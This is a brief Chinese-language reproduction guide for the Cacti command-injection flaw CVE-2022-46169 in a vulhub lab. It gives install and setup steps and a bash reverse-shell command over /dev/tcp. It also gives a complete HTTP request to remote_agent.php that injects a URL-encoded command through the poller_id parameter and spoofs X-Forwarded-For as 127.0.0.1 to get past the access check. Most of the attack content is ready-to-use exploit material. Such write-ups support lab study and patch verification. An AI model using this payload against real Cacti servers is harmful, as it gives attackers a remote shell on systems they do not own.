Cacti

1.漏洞复现

CVE-2022-46169(vulhub)

影响范围：Cacti 1.2.17 - 1.2.22

访问http://IP:8080进行安装(admin:admin)

登录后台，Create graphs->Creat选Device - Uptime->Create

先用NC监听，使用以下请求包反弹shell(下面要有空行)

echo 'bash -i >& /dev/tcp/IP/端口 0>&1' > /tmp/shell;bash /tmp/shell

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`命令URL编码` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1